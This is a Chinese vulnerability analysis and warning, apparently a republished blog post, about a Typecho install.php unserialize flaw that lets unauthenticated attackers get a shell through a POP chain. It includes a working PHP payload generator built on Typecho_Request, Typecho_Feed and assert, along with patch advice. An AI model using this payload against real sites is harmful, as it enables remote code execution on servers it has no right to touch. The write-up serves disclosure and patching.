typecho前台GETSHELL分析预警的案例

发布时间:2021-12-18 09:13:18 作者:小新
来源:亿速云 阅读:128

这篇文章主要介绍了typecho前台GETSHELL分析预警的案例,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

0x01 漏洞描述


install.php一处if`判断里直接处理了用户传入的序列化字符串,以及可以在现有框架中寻找到一条完整的pop执行链导致任意php命令执行。

0x02 漏洞攻击面影响


影响面

        几乎市面上的未及时更新的所有typecho都受到该漏洞影响。

影响版本

        gitcommit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5

        之前的几乎所有版本

修复版本

        gitcommite277141c974cd740702c5ce73f7e9f382c18d84e

        以后的commit

0x03 修复方案


漏洞代码


typecho前台GETSHELL分析预警的案例

typecho前台GETSHELL分析预警的案例

这里可以预想,应该不会有显然在__constract()中写出危险操作的开发吧

所以把思路转向字符串拼接的时候

寻找下__toString()

其实只有三个class有这个__toString()

var/Typecho/Feed.php

var/Typecho/Config.php

var/Typecho/Db/Query.php

typecho前台GETSHELL分析预警的案例

这里面大致出现了如下几种调用

php

$item['xxx']

$item['xxx']->$yyyy

$this->

typecho前台GETSHELL分析预警的案例

从这个点可以有些新的思考

因为是反序列化,对象中的属性也是我们可以控制的,那么现在去找找__get()方法

php

class Typecho_Config implements Iterator

class IXR_Client

class Typecho_Plugin

class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do

class Typecho_Date

class Typecho_Request

abstract class Typecho_Widget

class Typecho_Widget_Helper_Layout

有这么些个函数是带有__get()方法的

typecho前台GETSHELL分析预警的案例

有这么一处完整不经过变化处理的

然后直接由call_user_func执行构造好的指定代码

typecho前台GETSHELL分析预警的案例

0x04 攻击利用分析


Playload生成

php

<?php

class Typecho_Request

{

    private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');

    private $_filter = array('assert');

}

$payload1 = new Typecho_Request();

class Typecho_Feed

{

    private $_type = 'RSS 2.0';

    private $_items;

    public function __construct($x1)

    {

        $this->_items[] = array('author'=>$x1);

    }

}

$payload2 = new Typecho_Feed($payload1);

$exp['adapter'] = $payload2;

$exp['prefix'] = 'c1tas';

echo base64_encode(serialize($exp));

0x05 漏洞利用验证


验证截图

typecho前台GETSHELL分析预警的案例

0x06 修复建议


1. 及时同步官方分支

2. 注释掉install.php相关代码

感谢你能够认真阅读完这篇文章,希望小编分享的“typecho前台GETSHELL分析预警的案例”这篇文章对大家有帮助,同时也希望大家多多支持亿速云,关注亿速云行业资讯频道,更多相关知识等着你来学习!

推荐阅读:
  1. phpcms v9前台getshell
  2. discuz 最新后台getshell的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

typecho getshell

上一篇:Azure Powershell是什么意思

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》